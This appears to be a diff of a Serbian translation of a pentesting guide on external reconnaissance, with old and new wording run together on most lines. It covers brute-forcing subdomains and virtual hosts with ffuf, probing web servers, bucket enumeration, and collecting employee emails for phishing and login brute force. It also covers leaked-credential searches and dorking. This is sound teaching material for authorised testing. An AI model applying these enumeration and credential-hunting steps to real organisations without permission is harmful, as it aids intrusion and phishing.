Proverite ovaj blog post koji sam napisao o tome kako **automatizovati otkrivanje poddomena** sa domena koristeći **Trickest radne tokove** tako da ne moram ručno pokretati gomilu alata na svom računaru: Pogledajte ovaj blog post koji sam napisao o tome kako da **automatizujem otkrivanje poddomena** sa domena koristeći **Trickest workflows** tako da ne moram ručno da pokrećem gomilu alata na svom računaru:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
@ -432,15 +434,15 @@ Proverite ovaj blog post koji sam napisao o tome kako **automatizovati otkrivanj
### **VHosts / Virtuelni hostovi** ### **VHosts / Virtuelni hostovi**
Ako pronađete IP adresu koja sadrži **jednu ili više veb stranica** koje pripadaju poddomenima, možete pokušati **pronaći druge poddomene sa veb stranicama na toj IP adresi** tražeći u **OSINT izvorima** domene na IP adresi ili **brute-force metodom proveravajući VHost domene na toj IP adresi**. Ako ste pronašli IP adresu koja sadrži **jednu ili više web stranica** koje pripadaju poddomenima, možete pokušati da **pronađete druge poddomene sa web stranicama na toj IP adresi** tražeći u **OSINT izvorima** za domene na IP-u ili **brute-forcing VHost imena domena na toj IP adresi**.
#### OSINT #### OSINT
Možete pronaći neke **VHostove na IP adresama koristeći** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ili druge API-je**. Možete pronaći neke **VHosts na IP-ovima koristeći** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ili druge API-je**.
**Brute Force** **Brute Force**
Ako sumnjate da se neka poddomena može sakriti na veb serveru, možete pokušati da je brute-force metodom otkrijete: Ako sumnjate da neki poddomen može biti skriven na web serveru, možete pokušati da ga brute-forcujete:
```bash ```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -455,213 +457,215 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com VHostScan -t example.com
``` ```
{% hint style="info" %} {% hint style="info" %}
Pomoću ove tehnike čak možda možete pristupiti internim/skrivenim endpointima. Ovom tehnikom možda ćete moći da pristupite internim/skrivenim krajnjim tačkama.
{% endhint %} {% endhint %}
### **CORS Brute Force** ### **CORS Brute Force**
Ponekad ćete pronaći stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je validna domena/poddomena postavljena u zaglavlju _**Origin**_. U ovim scenarijima, možete zloupotrebiti ovu ponašanje da **otkrijete** nove **poddomene**. Ponekad ćete naići na stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je validna domena/poddomena postavljena u _**Origin**_ zaglavlju. U ovim scenarijima, možete iskoristiti ovo ponašanje da **otkrijete** nove **poddomenе**.
```bash ```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
``` ```
### **Brute Force za Buckets** ### **Buckets Brute Force**
Prilikom traženja **poddomena** obratite pažnju da li je usmeren ka nekoj vrsti **bucket**-a, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ Dok tražite **subdomene**, obratite pažnju da li se **upučuju** na neku vrstu **buckets**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Takođe, s obzirom da ćete u ovom trenutku znati sve domene unutar opsega, pokušajte [**brute force mogućih imena bucket-a i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/). Takođe, pošto ćete u ovom trenutku znati sve domene unutar opsega, pokušajte da [**brute force-ujete moguće nazive buckets i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitorisanje** ### **Monitorizacija**
Možete **pratiti** da li su **novi poddomeni** domena kreirani praćenjem **Certificate Transparency** zapisa što radi [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py). Možete **pratiti** da li su **nove subdomene** domena kreirane praćenjem **Certificate Transparency** logova [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
### **Traženje ranjivosti** ### **Traženje ranjivosti**
Proverite moguće [**preuzimanje poddomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ Proverite moguće [**preuzimanje subdomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Ako **poddomen** usmerava ka nekom **S3 bucket**-u, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/). Ako **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
Ako pronađete bilo koji **poddomen sa IP adresom različitom** od onih koje ste već pronašli u otkrivanju resursa, trebalo bi da izvršite **osnovno skeniranje ranjivosti** (korišćenjem Nessus-a ili OpenVAS-a) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. Zavisno od toga koje usluge se izvršavaju, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\ Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od usluga koje se pokreću, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
_Napomena da se ponekad poddomen nalazi na IP adresi koja nije pod kontrolom klijenta, pa nije u opsegu, budite oprezni._ _Napomena: ponekad je subdomena hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
## IP adrese ## IPs
U početnim koracima možda ste **pronašli neke opsege IP adresa, domene i poddomene**.\ U početnim koracima možda ste **pronašli neke IP opsege, domene i subdomene**.\
Vreme je da **prikupite sve IP adrese iz tih opsega** i za **domene/poddomene (DNS upiti).** Sada je vreme da **prikupite sve IP adrese iz tih opsega** i za **domene/subdomene (DNS upiti).**
Korišćenjem usluga sledećih **besplatnih API-ja** takođe možete pronaći **prethodne IP adrese korišćene od strane domena i poddomena**. Ove IP adrese možda i dalje pripadaju klijentu (i možda vam omoguće da pronađete [**CloudFlare zaobilaze**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) Koristeći usluge iz sledećih **besplatnih API-ja**, takođe možete pronaći **prethodne IP adrese korišćene od strane domena i subdomena**. Ove IP adrese možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
* [**https://securitytrails.com/**](https://securitytrails.com/) * [**https://securitytrails.com/**](https://securitytrails.com/)
Takođe možete proveriti domene koje usmeravaju ka određenoj IP adresi korišćenjem alata [**hakip2host**](https://github.com/hakluke/hakip2host) Takođe možete proveriti za domene koje upućuju na određenu IP adresu koristeći alat [**hakip2host**](https://github.com/hakluke/hakip2host)
### **Traženje ranjivosti** ### **Traženje ranjivosti**
**Skenirajte portove svih IP adresa koje ne pripadaju CDN-ovima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim pokrenutim uslugama možda ćete biti **u mogućnosti da pronađete ranjivosti**. **Skenirajte sve IP adrese koje ne pripadaju CDN-ima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim uslugama možda ćete **moći da pronađete ranjivosti**.
**Pronađite** [**vodič**](../pentesting-network/) **o tome kako skenirati hostove.** **Pronađite** [**vodič**](../pentesting-network/) **o tome kako skenirati hostove.**
## Lov na web servere ## Lov na web servere
> Pronašli smo sve kompanije i njihove resurse i znamo opsege IP adresa, domene i poddomene unutar opsega. Vreme je da tražimo web servere. > Pronašli smo sve kompanije i njihove resurse i znamo IP opsege, domene i subdomene unutar opsega. Vreme je da tražimo web servere.
U prethodnim koracima verovatno ste već izvršili neku **rekognosciranje otkrivenih IP adresa i domena**, tako da možda već imate **pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za traženje web servera** unutar opsega. U prethodnim koracima verovatno ste već izvršili neku **recon za IP adrese i domene koje ste otkrili**, tako da ste možda **već pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za pretragu web servera** unutar opsega.
Molimo vas, imajte na umu da će ovo biti **usmereno na otkrivanje web aplikacija**, pa biste trebali takođe **izvršiti skeniranje ranjivosti** i **portova** takođe (**ako je dozvoljeno** u opsegu). Molimo vas da napomenete da će ovo biti **orijentisano na otkrivanje web aplikacija**, tako da biste trebali **izvršiti skeniranje ranjivosti** i **skeniranje portova** takođe (**ako je dozvoljeno** od strane opsega).
**Brz metod** za otkrivanje **otvorenih portova** vezanih za **web** servere korišćenjem [**masscan** možete pronaći ovde](../pentesting-network/#http-port-discovery).\ **Brza metoda** za otkrivanje **otvorenih portova** povezanih sa **web** serverima koristeći [**masscan** može se pronaći ovde](../pentesting-network/#http-port-discovery).\
Još jedan prijateljski alat za traženje web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Jednostavno prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Dodatno, možete naznačiti da pokuša i druge portove: Još jedan prijateljski alat za pretragu web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Samo prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Pored toga, možete naznačiti da pokuša i druge portove:
```bash ```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
``` ```
### **Screenshots** ### **Screenshots**
Sada kada ste otkrili **sve veb servere** prisutne u opsegu (među **IP adresama** kompanije i svim **domenima** i **poddomenima**) verovatno **ne znate odakle da počnete**. Dakle, hajde da to učinimo jednostavnim i počnemo tako što ćemo napraviti snimke ekrana svih njih. Samo **pogledom** na **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **sklone** da budu **ranjive**. Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Dakle, pojednostavimo to i počnimo tako što ćemo praviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Osim toga, zatim možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **snimke ekrana** i da vam kaže **šta je verovatno da sadrži ranjivosti**, a šta ne. Pored toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **screenshotove** i kažete vam **šta verovatno sadrži ranjivosti**, a šta ne.
## Javna Cloud Sredstva ## Public Cloud Assets
Da biste pronašli potencijalna cloud sredstva koja pripadaju kompaniji, trebalo bi da **počnete sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"kripto", "novčanik", "dao", "<ime_domena>", <"imeni_poddomena">`. Da biste pronašli potencijalne cloud resurse koji pripadaju kompaniji, trebali biste **početi sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Takođe će vam biti potrebne liste reči koje se **često koriste u bucketima**: Takođe će vam biti potrebne liste reči **uobičajenih reči korišćenih u kanticama**:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Zatim, sa tim rečima trebalo bi da generišete **permutacije** (proverite [**Drugo kolo DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija). Zatim, sa tim rečima trebali biste generisati **permutacije** (pogledajte [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija).
Sa rezultirajućim listama reči možete koristiti alate kao što su [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** Sa dobijenim listama reči možete koristiti alate kao što su [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Zapamtite da prilikom traženja Cloud Sredstava treba **tražiti više od samo bucketa u AWS**. Zapamtite da kada tražite Cloud resurse, trebali biste **tražiti više od samo kanti u AWS-u**.
### **Traženje ranjivosti** ### **Looking for vulnerabilities**
Ako pronađete stvari poput **otvorenih bucketa ili izloženih cloud funkcija**, trebalo bi da im **pristupite** i pokušate da vidite šta vam nude i da li ih možete zloupotrebiti. Ako pronađete stvari kao što su **otvorene kante ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati da vidite šta vam nude i da li ih možete zloupotrebiti.
## Emailovi ## Emails
Sa **domenima** i **poddomenima** unutar opsega, praktično imate sve što vam je **potrebno da počnete tražiti emailove**. Ovo su **API-ji** i **alati** koji su najbolje funkcionisali za mene u pronalaženju emailova kompanije: Sa **domenima** i **poddomenama** unutar opsega, u suštini imate sve što vam **treba da počnete da tražite emailove**. Ovo su **API-ji** i **alati** koji su mi najbolje radili za pronalaženje emailova kompanije:
* [**theHarvester**](https://github.com/laramies/theHarvester) - sa API-ima * [**theHarvester**](https://github.com/laramies/theHarvester) - sa API-ima
* API od [**https://hunter.io/**](https://hunter.io/) (besplatna verzija) * API [**https://hunter.io/**](https://hunter.io/) (besplatna verzija)
* API od [**https://app.snov.io/**](https://app.snov.io/) (besplatna verzija) * API [**https://app.snov.io/**](https://app.snov.io/) (besplatna verzija)
* API od [**https://minelead.io/**](https://minelead.io/) (besplatna verzija) * API [**https://minelead.io/**](https://minelead.io/) (besplatna verzija)
### **Traženje ranjivosti** ### **Looking for vulnerabilities**
Emailovi će vam kasnije dobro doći za **bruteforce web prijava i autentikacione servise** (kao što je SSH). Takođe su potrebni za **phishing**. Osim toga, ovi API-ji će vam pružiti još više **informacija o osobi** iza emaila, što je korisno za kampanju phishinga. Emailovi će biti korisni kasnije za **brute-force web prijave i auth servise** (kao što je SSH). Takođe, potrebni su za **phishing**. Pored toga, ovi API-ji će vam dati još više **informacija o osobi** iza emaila, što je korisno za phishing kampanju.
## Procurele Poverljive Informacije ## Credential Leaks
Sa **domenima**, **poddomenima** i **emailovima** možete početi tražiti procurele poverljive informacije iz prošlosti koje pripadaju tim emailovima: Sa **domenima,** **poddomenama** i **emailovima** možete početi da tražite kredencijale koji su procurili u prošlosti i pripadaju tim emailovima:
* [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/) * [https://www.dehashed.com/](https://www.dehashed.com/)
### **Traženje ranjivosti** ### **Looking for vulnerabilities**
Ako pronađete **validne procurele** poverljivih informacija, to je veoma laka pobeda. Ako pronađete **validne procurile** kredencijale, ovo je vrlo lako postignuće.
## Procurele Tajne ## Secrets Leaks
Procurele poverljive informacije su povezane sa hakovanjem kompanija gde su **poverljive informacije procurene i prodate**. Međutim, kompanije bi mogle biti pogođene i **drugim procurama** čije informacije nisu u tim bazama podataka: Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljive informacije procurile i prodane**. Međutim, kompanije mogu biti pogođene i **drugim curenjima** čije informacije nisu u tim bazama podataka:
### Github Procure ### Github Leaks
Poverljive informacije i API-ji mogu biti procureni u **javnom repozitorijumu** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\ Kredencijali i API-ji mogu biti procureni u **javnim repozitorijumima** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** organizacije i njenih **razvijalaca** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima. Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima.
**Leakos** takođe može biti korišćen da pokrene **gitleaks** nad svim **tekstualnim** **URL-ovima koje mu prosledite** jer ponekad **veb stranice takođe sadrže tajne**. **Leakos** se takođe može koristiti za pokretanje **gitleaks** protiv svih **teksta** koji su **URL-ovi prosleđeni** njemu, jer ponekad **web stranice takođe sadrže tajne**.
#### Github Dorks #### Github Dorks
Takođe proverite ovu **stranicu** za potencijalne **github dorks** koje takođe možete tražiti u organizaciji koju napadate: Proverite i ovu **stranicu** za potencijalne **github dorks** koje takođe možete pretraživati u organizaciji koju napadate:
{% content-ref url="github-leaked-secrets.md" %} {% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md) [github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %} {% endcontent-ref %}
### Paste Procure ### Pastes Leaks
Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na sajtu za paste**. To može ili ne mora sadržati **poverljive informacije**, ali je veoma zanimljivo tražiti ih.\ Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na paste sajtu**. Ovo može ili ne mora sadržati **osetljive informacije**, ali je veoma zanimljivo tražiti to.\
Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete više od 80 sajtova za paste istovremeno. Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete na više od 80 paste sajtova u isto vreme.
### Google Dorks ### Google Dorks
Stari, ali zlatni google dorks uvek su korisni za pronalaženje **izloženih informacija koje ne bi trebalo da budu tamo**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete pokrenuti ručno. Dakle, možete odabrati svojih 10 omiljenih ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih pokrenete sve**. Stari, ali zlatni google dorks su uvek korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tu**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete ručno pokrenuti. Dakle, možete uzeti svojih omiljenih 10 ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih sve pokrenete**.
_Napomena da alati koji očekuju da pokrenu celu bazu podataka koristeći obični Google pretraživač nikada neće završiti jer će vas Google vrlo brzo blokirati._ _Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti jer će vas google vrlo brzo blokirati._
### **Traženje ranjivosti** ### **Looking for vulnerabilities**
Ako pronađete **validne procurele** poverljivih informacija ili API tokena, to je veoma laka pobeda. Ako pronađete **validne procurile** kredencijale ili API tokene, ovo je vrlo lako postignuće.
## Ranjivosti Javnog Koda ## Public Code Vulnerabilities
Ako ste otkrili da kompanija ima **otvoren kod**, možete ga **analizirati** i tražiti **ranjivosti** na njemu. Ako ste otkrili da kompanija ima **open-source kod**, možete ga **analizirati** i tražiti **ranjivosti** u njemu.
**Zavisno o jeziku**, postoje različiti **alati** koje možete koristiti: **U zavisnosti od jezika**, postoje različiti **alati** koje možete koristiti:
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %} {% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
Postoje i besplatne usluge koje vam omogućavaju da **skenirate javne repozitorijume**, kao što su: Takođe postoje besplatne usluge koje vam omogućavaju da **skenirate javne repozitorijume**, kao što su:
* [**Snyk**](https://app.snyk.io/) * [**Snyk**](https://app.snyk.io/)
## [**Metodologija testiranja veb aplikacija**](../../network-services-pentesting/pentesting-web/)
**Većina ranjivosti** otkrivenih od strane lovaca na bagove nalazi se unutar **veb aplikacija**, pa bih u ovom trenutku želeo da govorim o **metodologiji testiranja veb aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/). ## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
Takođe želim da posebno pomenem sekciju [**Alati otvorenog koda za automatsko skeniranje veb aplikacija**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne treba očekivati da će pronaći veoma osetljive ranjivosti, korisni su za implementaciju u **tokove rada radi dobijanja početnih informacija o vebu.** **Većina ranjivosti** koje pronalaze lovci na greške se nalazi unutar **web aplikacija**, tako da bih u ovom trenutku želeo da govorim o **metodologiji testiranja web aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
## Rekapitulacija Takođe želim da posebno pomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne biste trebali očekivati da će pronaći veoma osetljive ranjivosti, oni su korisni za implementaciju u **tokove rada kako biste imali neke inicijalne web informacije.**
> Čestitam! Do ovog trenutka već ste obavili **svu osnovnu enumeraciju**. Da, osnovnu, jer se može obaviti mnogo više enumeracije (videćemo više trikova kasnije). ## Recapitulation
> Čestitamo! U ovom trenutku ste već izvršili **sve osnovne enumeracije**. Da, to je osnovno jer se može uraditi mnogo više enumeracija (videćemo više trikova kasnije).
Dakle, već ste: Dakle, već ste:
1. Pronašli sve **kompanije** unutar opsega 1. Pronašli sve **kompanije** unutar opsega
2. Pronašli sve **resurse** koji pripadaju kompanijama (i obavili skeniranje ranjivosti ako je u opsegu) 2. Pronašli sve **resurse** koji pripadaju kompanijama (i izvršili neku skeniranje ranjivosti ako je u opsegu)
3. Pronašli sve **domene** koje pripadaju kompanijama 3. Pronašli sve **domenе** koje pripadaju kompanijama
4. Pronašli sve **poddomene** domena (bilo preuzimanja poddomena?) 4. Pronašli sve **poddomenе** domena (ima li preuzimanja poddomena?)
5. Pronašli sve **IP adrese** (iz i **ne iz CDN-a**) unutar opsega. 5. Pronašli sve **IP-ove** (iz i **ne iz CDN-a**) unutar opsega.
6. Pronašli sve **veb servere** i napravili **screenshot** (ima li nešto čudno vredno dubljeg pregleda?) 6. Pronašli sve **web servere** i napravili **screenshot** njih (ima li nešto čudno što vredi dubljeg pregleda?)
7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji. 7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji.
8. **Email adrese**, **procurele akreditive** i **procurele tajne** koje bi vam mogle doneti **veliku pobedu veoma lako**. 8. **Emailovi**, **curenje kredencijala** i **curenje tajni** koji bi vam mogli doneti **veliku pobedu vrlo lako**.
9. **Testirali sve veb stranice koje ste pronašli** 9. **Pentesting svih web stranica koje ste pronašli**
## **Alati za automatsku potpunu rekonstrukciju** ## **Full Recon Automatic Tools**
Postoji nekoliko alata koji će obaviti deo predloženih akcija protiv datog opsega. Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog opsega.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) * [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Malo zastareo i nije ažuriran * [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Malo star i nije ažuriran
## **Reference** ## **References**
* Svi besplatni kursevi od [**@Jhaddix**](https://twitter.com/Jhaddix) poput [**Metodologija lovca na bagove v4.0 - Recon izdanje**](https://www.youtube.com/watch?v=p4JgIu1mceI) * Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru hakovanja** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pismu i govoru_). Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovivog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,88 +1,89 @@
# Metodologija pentesta # Pentesting Metodologija
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Obuka AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
